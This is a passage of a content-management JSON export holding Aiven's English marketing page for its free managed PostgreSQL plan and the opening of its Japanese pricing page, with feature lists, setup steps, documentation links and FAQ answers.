style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"7a6998f4-a0e3-4b0d-ade7-90225bb929b0","_type":"tableRow","cells":["Support","[Community support](https://aiven.io/community/forum/)"]}]}],"title":"What’s included in your free PostgreSQL® database?","variant":"centerColumn"},{"_key":"456211134c38","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":true,"headerPosition":"default","iconSize":24,"icons":[{"_key":"131df512d6ed","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-6390718f0f0f1312203b807186b5dad5da4a80be-25x24-svg","_type":"reference"}},"subtitle":[{"_key":"097a7734afd5","_type":"block","children":[{"_key":"b66bad93b5980","_type":"span","marks":[],"text":"Save time with Aiven’s free plan that covers all the essentials, including virtual machine, backup, and networking costs. No unexpected charges arising."}],"markDefs":[],"style":"normal"}],"title":"Covers everything"},{"_key":"c9c8cb165bc704172dcf2311f847673c","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c368f51b75e646afb9e988f72627e49f7a0bc862-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"1010442c2493","_type":"block","children":[{"_key":"3ca8cb5d981f0","_type":"span","marks":[],"text":"Aiven's dedicated PostgreSQL®"},{"_key":"505b1e79e8b4","_type":"span","marks":["strong"],"text":" "},{"_key":"8470190a0851","_type":"span","marks":[],"text":"instances offer maximum security and privacy for your data, consistent performance levels, and the ability to fine-tune for optimal performance."}],"markDefs":[],"style":"normal"}],"title":"Aiven's dedicated PostgreSQL® instances"},{"_key":"66dd3c603cf25de370171e0911845bac","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-216087e3f84e46bc6fec1379d984299ce66186a1-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"4c0b317bd6e3","_type":"block","children":[{"_key":"517422262b360","_type":"span","marks":[],"text":"By having access to monitoring and logs, you can proactively identify and address issues before they escalate, gaining valuable insights into the performance of your database over time."}],"markDefs":[],"style":"normal"}],"title":"Monitoring and log access"},{"_key":"2c9b8627af5a9d6a9de3b5c716c31909","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-8bf6307344286cf3f810660569ecb590fee7fca8-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"34959747d99f","_type":"block","children":[{"_key":"516867b900fa0","_type":"span","marks":[],"text":"Manage your service using "},{"_key":"516867b900fa1","_type":"span","marks":["d1d78936ec13"],"text":"the Aiven Terraform provider"},{"_key":"516867b900fa2","_type":"span","marks":[],"text":", and automate the provisioning and management of your PostgreSQL® database. Easily deploy, manage and scale your database infrastructure with the most popular infrastructure-as-code tool."}],"markDefs":[{"_key":"d1d78936ec13","_type":"link","href":"https://docs.aiven.io/docs/tools/terraform"}],"style":"normal"}],"title":"Terraform integration"},{"_key":"934ff837efcbbb4e3e61953037bdd723","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c73588011bea5b815efb960f9bb5ed6aa5a46c64-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"fcf4d3b185ad","_type":"block","children":[{"_key":"3d7625dde4ac","_type":"span","marks":[],"text":"Aiven services hold "},{"_key":"23bd101cac43","_type":"span","marks":["bf58195dc027"],"text":"certifications"},{"_key":"0d0c618b083e","_type":"span","marks":[],"text":" such as SOC2, ISO27001, PCI-DSS, and GDPR compliance. You can also set up easy and secure authentication with SSO."}],"markDefs":[{"_key":"bf58195dc027","_type":"link","href":"https://aiven.io/security-compliance"}],"style":"normal"}],"title":"Secure and compliant"},{"_key":"aab03b035b93efb3aa98a8de94630af9","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-092f95c7546f16488994272d57c0d36d60efb70b-24x24-svg","_type":"reference"}},"title":"Backups for disaster recovery"},{"_key":"d41ed52a1719","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-1e1ef44fb73b5346c388c66f74fa221fe483b422-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"fe6e35719fa4","_type":"block","children":[{"_key":"2d60d36b675a","_type":"span","marks":[],"text":"Leverage the "},{"_key":"37b7cb8c91a8","_type":"span","marks":["180bc0e36e90"],"text":"Aiven AI database optimizer"},{"_key":"3216a7356ca1","_type":"span","marks":[],"text":" to review the queries running against your database and receive AI-driven index recommendations to optimize your workloads."}],"markDefs":[{"_key":"180bc0e36e90","_type":"link","href":"https://aiven.io/solutions/aiven-ai-database-optimizer"}],"style":"normal"}],"title":"AI-driven optimization recommendations"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Benefits of your free Aiven for PostgreSQL® service"},{"_key":"370a36220baa","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"21e657b8-5980-4a85-87f8-595301495bef","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-17cdd7e1c631dd9f12414bd6433299d3eb972363-2000x361-png","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"contain","backgroundSizeMobile":"auto","darkTheme":true,"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":true,"secondaryCTA":{"_type":"link","externalUrl":"https://aiven.io/community/forum/","title":"Go to forum "},"subtitle":[{"_key":"206a3dd6f745","_type":"block","children":[{"_key":"8f185e3e775e0","_type":"span","marks":[],"text":"Take advantage of our community support forums to ask questions, get advice, and learn from other developers."}],"markDefs":[],"style":"normal"}],"title":"Join Aiven Community for support","variant":"centerColumn"},{"_key":"1a7c45b1c0fa","_type":"textImage","addSpaceBottom":false,"addSpaceTop":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","alt":"How to start a free PostgreSQL® database","asset":{"_ref":"image-6f3b21d762f5d9263485ef8402d5b64b636bf427-1358x765-gif","_type":"reference"}},"imagePosition":"top","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Start your free plan"},"text":[{"_key":"2a2cece7be56","_type":"block","children":[{"_key":"b4c64d894c40","_type":"span","marks":[],"text":"Set up your fully managed PostgreSQL® db in less than 10 minutes. It's easy and quick - simply access our web console or use our API, CLI, or Terraform. Check out "},{"_key":"7686c1e7159b","_type":"span","marks":["119f08e1a5c5"],"text":"our docs"},{"_key":"6fea3d542e6e","_type":"span","marks":[],"text":" and sign up with your Github or Google account!"}],"markDefs":[{"_key":"119f08e1a5c5","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/howto/list-get-started"}],"style":"normal"}],"title":"Create your free Aiven for PostgreSQL® service","variant":"mediaRight"},{"_key":"09270f3f53d5c07b1153bf05990aaba1","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","subtitle":[{"_key":"f6aa9af63f04","_type":"block","children":[{"_key":"3a2f2ab2f633","_type":"span","marks":[],"text":"Connect to your servicevia command line ("},{"_key":"c4426547bd44","_type":"span","marks":["5826d54e4bdd"],"text":"psql"},{"_key":"47e811b54b14","_type":"span","marks":[],"text":", "},{"_key":"2dfd14548801","_type":"span","marks":["2bdcce69bdf8"],"text":"pgAdmin"},{"_key":"9635eec6b886","_type":"span","marks":[],"text":") or your application ("},{"_key":"a3b5f29817de","_type":"span","marks":["8b3a8f6d9260"],"text":"Go"},{"_key":"1303e2a84028","_type":"span","marks":[],"text":", "},{"_key":"c9103e12aa2d","_type":"span","marks":["e23923961685"],"text":"Java"},{"_key":"1812fc11c29e","_type":"span","marks":[],"text":", "},{"_key":"81ba8bb2003a","_type":"span","marks":["2f9ccedfc03a"],"text":"NodeJS"},{"_key":"b3c16721b6de","_type":"span","marks":[],"text":", "},{"_key":"808e680fd7bf","_type":"span","marks":["49ec567dfaf1"],"text":"PHP"},{"_key":"7820c6953cbd","_type":"span","marks":[],"text":", "},{"_key":"8daf7f7089be","_type":"span","marks":["0f0a5583cb06"],"text":"Python"},{"_key":"f73918278429","_type":"span","marks":[],"text":", "},{"_key":"86c62ef8f3cd","_type":"span","marks":["6051853a5044"],"text":"Rivery"},{"_key":"6df7b66587f8","_type":"span","marks":[],"text":", "},{"_key":"3505a5a0472e","_type":"span","marks":["3ce8c005b1a7"],"text":"Skyvia"},{"_key":"cb8e8999ee69","_type":"span","marks":[],"text":", "},{"_key":"fd97c7dd26f4","_type":"span","marks":["fbba9d14ea31"],"text":"Zapier"},{"_key":"39b618c5115d","_type":"span","marks":[],"text":")"}],"level":1,"listItem":"number","markDefs":[{"_key":"5826d54e4bdd","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/howto/connect-psql.html"},{"_key":"2bdcce69bdf8","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/howto/connect-pgadmin.html"},{"_key":"8b3a8f6d9260","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/howto/connect-go.html"},{"_key":"e23923961685","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/howto/connect-java.html"},{"_key":"2f9ccedfc03a","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/howto/connect-node.html"},{"_key":"49ec567dfaf1","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/howto/connect-php.html"},{"_key":"0f0a5583cb06","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/howto/connect-python.html"},{"_key":"6051853a5044","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/howto/connect-rivery.html"},{"_key":"3ce8c005b1a7","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/howto/connect-skyvia.html"},{"_key":"fbba9d14ea31","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/howto/connect-zapier.html"}],"style":"normal"},{"_key":"b1ec5070c349","_type":"block","children":[{"_key":"d99bd3b33975","_type":"span","marks":[],"text":"Migrate your own database to test it on Aiven platform from an external PostgreSQL® with this "},{"_key":"b1282fa4c868","_type":"span","marks":["88dd07ca89f2"],"text":"migration process (aiven-db-migrate)"}],"level":1,"listItem":"number","markDefs":[{"_key":"88dd07ca89f2","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/concepts/aiven-db-migrate"}],"style":"normal"},{"_key":"d220620a4ef5","_type":"block","children":[{"_key":"9089c51b9ace","_type":"span","marks":[],"text":"If you don’t have data ready to use, import "},{"_key":"7239ff854500","_type":"span","marks":["5fa190c83c20"],"text":"exoplanets"},{"_key":"588d4d44be5a","_type":"span","marks":[],"text":" dataset or "},{"_key":"dd38117dbc19","_type":"span","marks":["54628288b31c"],"text":"Pagila sample dataset"},{"_key":"5cdda178384c","_type":"span","marks":[],"text":" to your Aiven for PostgreSQL® to see it in action."}],"level":1,"listItem":"number","markDefs":[{"_key":"5fa190c83c20","_type":"internalLink","internalLink":{"_ref":"5HvSGI64xMitqiheeX6a66","_type":"reference"}},{"_key":"54628288b31c","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/howto/pagila"}],"style":"normal"}],"title":"Next steps","variant":"oneColumn"},{"_key":"11339c8ad14ea3c6d0de067101786810","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"headerPosition":"default","iconSize":24,"icons":[{"_key":"3ae2570e5a0911d2d59bdadf90291c0c","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-ae904dc4f35e259578ede3723110880b94da9928-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"54d9ba81173d","_type":"block","children":[{"_key":"03a8feabae030","_type":"span","marks":[],"text":"Utilizing PostgreSQL® allows for effortless data transfer to various services or platforms without incurring extra costs or complications. This ease of data migration ensures a smooth transition to Aiven from another service or platform."}],"markDefs":[],"style":"normal"},{"_key":"6855708c2528","_type":"block","children":[{"_key":"748085c793c80","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"title":"Standard Open Source Technology"},{"_key":"962f6ef53b7a47d7f2c79579768dec93","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-f031c696b7d1e96077b40dee85d180c60d675137-25x24-svg","_type":"reference"}},"subtitle":[{"_key":"a8bd62c57a74","_type":"block","children":[{"_key":"1f7ba6da581b0","_type":"span","marks":[],"text":"Aiven’s free PostgreSQL® hosting is built on the same robust platform that our enterprise customers trust. You can be confident that your database is in good hands, and that it's backed by the same powerful tools and technology that all our customers rely on."}],"markDefs":[],"style":"normal"},{"_key":"8926fe88bce8","_type":"block","children":[{"_key":"98b06a23de780","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"title":"Same robust Aiven services"},{"_key":"3d0050b0325d9f6859f6a247fcba2a1b","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"2abc199effdc","_type":"block","children":[{"_key":"bbb2cd235ccb0","_type":"span","marks":[],"text":"You can expand your PostgreSQL® database with other "},{"_key":"d2d48b5aa9ee","_type":"span","marks":["04d084f3f6ce"],"text":"free services like Aiven for Redis®*"},{"_key":"95d97accb6d8","_type":"span","marks":[],"text":" or "},{"_key":"7b860a1575f3","_type":"span","marks":["72d5d9e72085"],"text":"Aiven for MySQL®"},{"_key":"340c0e476580","_type":"span","marks":[],"text":". Redis, for instance, can be used as a cache to speed up queries and reduce latency, which can be particularly useful for applications that require real-time data processing or handling large volumes of data."}],"markDefs":[{"_key":"72d5d9e72085","_type":"internalLink","internalLink":{"_ref":"5bf8e320-5f39-4e26-9dc6-aa894cce583c","_type":"reference"}},{"_key":"04d084f3f6ce","_type":"internalLink","internalLink":{"_ref":"a1d19d22-7a60-4f15-94a0-3b99a8abf4bc","_type":"reference"}}],"style":"normal"}],"title":"Add more services"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"title":"Gain freedom and flexibility with open source technology on Aiven Platform"},{"_key":"bbbf3949883f","_type":"accordion","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"da51f22158d5","_type":"accordionItem","panelText":[{"_key":"4a2b5c34b1b2","_type":"block","children":[{"_key":"d00e4532897a0","_type":"span","marks":[],"text":"PostgreSQL® is free as an open-source software, but if you opt for managed services or choose to use it in conjunction with specific platforms, there might be associated costs. "}],"markDefs":[{"_key":"4e91077b7773","_type":"link","href":"https://aiven.io/postgresql"}],"style":"normal"},{"_key":"8d7a77ef31e1","_type":"block","children":[{"_key":"44e7d53845e0","_type":"span","marks":[],"text":"Aiven offers free managed PostgreSQL® service and also a "},{"_key":"d00e4532897a1","_type":"span","marks":["4e91077b7773"],"text":"paid version"},{"_key":"d00e4532897a2","_type":"span","marks":[],"text":" with full capabilities, support and features of the Aiven data platform."}],"markDefs":[{"_key":"4e91077b7773","_type":"link","href":"https://aiven.io/postgresql"}],"style":"normal"}],"title":"Is PostgreSQL® free?"},{"_key":"3d017ef4b3f5","_type":"accordionItem","panelText":[{"_key":"0b52de3622ee","_type":"block","children":[{"_key":"92d5914114f70","_type":"span","marks":["959edde9e18c"],"text":"Sign up with Aiven"},{"_key":"92d5914114f71","_type":"span","marks":[],"text":" to deploy your initial PostgreSQL® database is quick and easy through our web UI. No credit card needed."}],"markDefs":[{"_key":"959edde9e18c","_type":"link","href":"https://console.aiven.io/signup"}],"style":"normal"},{"_key":"734883466f92","_type":"block","children":[{"_key":"a83f23d714fc0","_type":"span","marks":[],"text":"First, choose your preferred region, then click 'Create Service.' Then connect to your database using provided connection details for popular tools. Lastly secure your connection and load data with available workflows for migrating from an existing database or importing sample data."}],"markDefs":[],"style":"normal"},{"_key":"8259d78dfd47","_type":"block","children":[{"_key":"c50ae2ffc84d0","_type":"span","marks":[],"text":"Alternatively, manage your free service using the "},{"_key":"c50ae2ffc84d1","_type":"span","marks":["3e822fe8a9c7"],"text":"Aiven CLI"},{"_key":"c50ae2ffc84d2","_type":"span","marks":[],"text":" or our "},{"_key":"c50ae2ffc84d3","_type":"span","marks":["2227f541cfb5"],"text":"Terraform provider."}],"markDefs":[{"_key":"3e822fe8a9c7","_type":"link","href":"https://docs.aiven.io/docs/tools/cli"},{"_key":"2227f541cfb5","_type":"link","href":"https://docs.aiven.io/docs/tools/terraform"}],"style":"normal"}],"title":"How to deploy a free PostgreSQL® database in the cloud?"},{"_key":"a4a9f925b8b9","_type":"accordionItem","panelText":[{"_key":"67b3ae1a8f6b","_type":"block","children":[{"_key":"5604defc4ecc0","_type":"span","marks":[],"text":"While"},{"_key":"5604defc4ecc1","_type":"span","marks":["daffa7d6f947"],"text":" free plans come with certain restrictions"},{"_key":"5604defc4ecc2","_type":"span","marks":[],"text":", they are available at no cost indefinitely. If you require additional memory or access to the complete set of features, opting for the free trial might be a more suitable choice."}],"markDefs":[{"_key":"daffa7d6f947","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/free-plan"}],"style":"normal"},{"_key":"5173db8eb5fa","_type":"block","children":[{"_key":"01c7eaee48440","_type":"span","marks":[],"text":"Aiven free plans don't have any time constraints. However, free plans will be automatically powered off if they aren't actively used. You will be notified in advance about any free plans that are scheduled to be powered off, via email and notification in the Aiven platform."}],"markDefs":[],"style":"normal"},{"_key":"7d85a862e99e","_type":"block","children":[{"_key":"4ee71e11c7110","_type":"span","marks":[],"text":"Aiven also reserves the right to terminate services if they are deemed to violate the "},{"_key":"ae86953e096a1","_type":"span","marks":["017a7507ece8"],"text":"acceptable use policy"},{"_key":"ae86953e096a2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"017a7507ece8","_type":"link","href":"https://aiven.io/terms"}],"style":"normal"},{"_key":"d76282db1628","_type":"block","children":[{"_key":"5192e519dc460","_type":"span","marks":["a1087a18b8e1"],"text":"See the detailed list of features and limitations here"}],"markDefs":[{"_key":"a1087a18b8e1","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/free-plan#free-plan-features-and-limitations"}],"style":"normal"},{"_key":"b4ab97aa3702","_type":"block","children":[{"_key":"2066e28864370","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"title":"What limitations does Aiven’s free PostgreSQL® plan have? "}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","title":"FAQ"},{"_key":"42b462fe059f","_type":"cardList","addSpaceBottom":true,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"b62175c6a430","_ref":"c3affeef-2d54-47cd-82f2-33634239277c","_type":"devArticle"},{"_key":"2c2c86703483","_ref":"2022191a-c1b2-4b3c-9e8f-3caa3a1240e9","_type":"devArticle"},{"_key":"95bfe27b1b26","_ref":"110695fb-7084-48fa-a3e0-1b49f9966d26","_type":"devArticle"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"You might be interested in"}],"infoBannerPosition":"top","seo":{"_type":"metaData","metaDescription":"Free managed PostgreSQL® database with Terraform integration. Cloud-powered, secure and scalable solution for your data needs. Backups for disaster recovery.","metaImage":{"_type":"mainImage","alt":"Free Aiven for PostgreSQL® database","asset":{"_ref":"image-6101b187cc2814520e59dddc7c52cdc6f7132502-1200x630-jpg","_type":"reference"}},"metaTitle":"Set up hosted PostgreSQL® database for FREE"},"slug":{"_type":"slug","current":"/free-postgresql-database"},"title":"Free PostgreSQL Database"} {"__i18n_lang":"ja","_createdAt":"2022-09-07T20:39:48Z","_id":"16b06c52-bdff-4f7c-90f7-f564e1faac21__i18n_ja","_rev":"9k1srJVIAf7BJJgtqkgE0z","_type":"page","_updatedAt":"2024-04-03T11:45:27Z","content":[{"_key":"e5d800abc1de","_type":"hero","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"description":[{"_key":"9ca7e861fb72","_type":"block","children":[{"_key":"4d4b3c6bbed40","_type":"span","marks":[],"text":"Aivenの価格は包括的で透明性が高いため、予測が簡単で、ネットワークやストレージのような変動コストに起因する月末の予期せぬ支出を回避することができます。"}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":true,"rounded":false,"title":"プランと価格","variant":"compact"},{"_key":"32dbd8a54be8","_type":"pricing","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","caption":"クレジットカードの登録は不要です。","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"rounded":false,"secondaryCTA":{"_type":"link","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf__i18n_ja","_type":"reference"},"title":"お問合せ"},"variant":"all-services"},{"_key":"603356307269","_type":"logoList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":false,"logos":[{"_key":"40c0949d23ca","_ref":"116682c4-b184-4136-9c82-2dc7e4fe5d28","_type":"reference"},{"_key":"6252358bcc1e","_ref":"723e5af6-916b-4e14-b3fd-bf7a66f1d80c","_type":"reference"},{"_key":"a04a233c4cf9","_ref":"a26cf529-bb24-4a1f-91a6-bab664c408f6","_type":"reference"}],"rounded":true,"title":"利用可能なマーケットプレイス","variant":"logo-side"},{"_key":"9d865689a926","_type":"iconList","disabled":true,"fullWidth":true,"headerPosition":"default","iconSize":24,"icons":[{"_key":"7f75c934cf6d","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-30a5bd1f5d660a3b70fa5c8672d4e8d0ddc69e38-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"a05f56c732cb","_type":"block","children":[{"_key":"3a6c321cf5890","_type":"span","marks":[],"text":"5社のパブリッククラウドプロバイダーをサポート"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"29a665c76738","_type":"block","children":[{"_key":"9e7095e3713b0","_type":"span","marks":[],"text":"100以上のリージョンをサポート"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"bc8cc4951e81","_type":"block","children":[{"_key":"ee10289c9aa3","_type":"span","marks":[],"text":"追加費用がなく、ワンクリックでクラウドやリージョン間の移行が可能"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3c71f4fda4e3","_type":"block","children":[{"_key":"d613ae95b3150","_type":"span","marks":[],"text":"マルチクラウドに対応 - 配管(Plumbing)はAivenにお任せください"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"追加コストなしで、クラウドやリージョンの切り替えが可能"},{"_key":"7b625b5ead99","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-a145021d9dfd38c501e1262164f3d3f33511d50a-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"57839e44c6b7","_type":"block","children":[{"_key":"55edbcc2f4c10","_type":"span","marks":[],"text":"よくあるサービスの問題を自動的に検知した上で対処"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ce6c3a1d12e5","_type":"block","children":[{"_key":"59fb24286aeb0","_type":"span","marks":[],"text":"自動バックアップおよび設定可能なバックアップ"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"711bcd55698f","_type":"block","children":[{"_key":"91a343e610640","_type":"span","marks":[],"text":"事前構築されたGrafanaダッシュボードや、すぐに使える外部サービスとの統合により、カスタマイズ可能な監視を実現"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4e6406244a52","_type":"block","children":[{"_key":"4d5cafd354f30","_type":"span","marks":[],"text":"最小限のダウンタイムでのアップグレード"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"99.99%のアップタイムを約束"},{"_key":"1072e7a84aaf","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"9975a23d35f9","_type":"block","children":[{"_key":"0404c55660020","_type":"span","marks":[],"text":"ワンクリックでサービスのスケールアップ(またはスケールダウン)が可能"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"acf76ec7f0da","_type":"block","children":[{"_key":"3518ff44557c0","_type":"span","marks":[],"text":"追加のバックアップ費用は不要"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f266e82690b6","_type":"block","children":[{"_key":"fbd1eb3b251a0","_type":"span","marks":[],"text":"追加のAPIコールなし"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"75b4c56d8c00","_type":"block","children":[{"_key":"29ed6bdc472b0","_type":"span","marks":[],"text":"ネットワークの上り(内向き/ Ingress)または下り(外向き/ Egress)の追加コストは不要"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"固定価格 - 予期せぬ支出なし"}],"rounded":false,"title":"柔軟性、高可用性、自社メンテナンスが不要"},{"_key":"83c3ea112d44","_type":"accordion","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","disabled":false,"fullWidth":false,"isFaqAccordion":true,"items":[{"_key":"d7fa725ba1cd","_type":"accordionItem","id":"plans","panelText":[{"_key":"91780cb87209","_type":"block","children":[{"_key":"1b95a3ed379d0","_type":"span","marks":[],"text":"Aivenでは、5つのプランをご提供しています。Free、Hobbyist、Startup、Business、Premiumです。各プランの違いはサービスごとに異なりますので、「プランと価格」ページの [プラン検索(Service/Cloud/Region/Addon)] からご希望のサービス、クラウド、リージョン、アドオンを選択し、[プラン比較(Plan Comparison)] をクリックしてご確認ください。"}],"markDefs":[],"style":"normal"},{"_key":"863bc633ce9b","_type":"block","children":[{"_key":"da5179a2e78b0","_type":"span","marks":[],"text":"ほとんどの技術的な機能は、すべてのプランで利用可能です。プラン間の主な違いは、専用仮想マシン(VM)の数です。VMの数が多ければ多いほど、サービスの異常に対する耐性が高まります。テスト環境にはHobbyist/Startup、本番環境にはBusiness、エンタープライズレベルの本番環境にはPremiumのプランが推奨されます。"}],"markDefs":[],"style":"normal"},{"_key":"227bfbeed8d5","_type":"block","children":[{"_key":"eda2f98010cb0","_type":"span","marks":["strong"],"text":"Aivenは、PostgreSQL®、MySQL、Redis®*"},{"_key":"88dd7b9ea145","_type":"span","marks":[],"text":"の無料プランを提供しており、世界9つのAWSリージョンで利用可能で、以下の仕様となっています:"}],"markDefs":[],"style":"normal"},{"_key":"d74734ec1d52","_type":"block","children":[{"_key":"058bafe737820","_type":"span","marks":[],"text":"シングルノード"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e945b600d122","_type":"block","children":[{"_key":"22641a98e4cc0","_type":"span","marks":[],"text":"1 CPU"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3a40bd8ebdd6","_type":"block","children":[{"_key":"ea18c64fe2250","_type":"span","marks":[],"text":"1GB RAM"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c4708d240982","_type":"block","children":[{"_key":"5b80851d89330","_type":"span","marks":[],"text":"PostgreSQL、MySQLの場合: 5GBのストレージ"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"501b2dd22ff3","_type":"block","children":[{"_key":"3a474ed62ea30","_type":"span","marks":[],"text":"無料プランの詳細については、ドキュメン"},{"_key":"a96fb4dd6b7f","_type":"span","marks":["de60ad12d996"],"text":"トをご確認ください"},{"_key":"24814fa31c6f","_type":"span","marks":[],"text":"。"}],"markDefs":[{"_key":"de60ad12d996","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/free-plan"}],"style":"normal"},{"_key":"151f4fe29807","_type":"block","children":[{"_key":"527291cca0d90","_type":"span","marks":[],"text":"Aiven for Apache KafkaおよびAiven for Apache Cassandraの全プランでは、高可用性(最低3ノード)、プライベートネットワーク(VPC)、各仮想マシンが異なる可用性ゾーンにあるシングルテナントの専用クラスターが提供されます。Apache Kafkaサービスでは、Apache Kafka ConnectはBusinessプランとPremiumプランにのみ含まれます。"}],"markDefs":[],"style":"normal"},{"_key":"b80667456749","_type":"block","children":[{"_key":"2d8fb6dd07b20","_type":"span","marks":[],"text":"Apache Kafkaの各プランに何が含まれているかは、"},{"_key":"2d8fb6dd07b21","_type":"span","marks":["96809834bb25"],"text":"プラン比較(Plan Comparison)で"},{"_key":"2d8fb6dd07b22","_type":"span","marks":[],"text":"ご確認ください。また、Apache 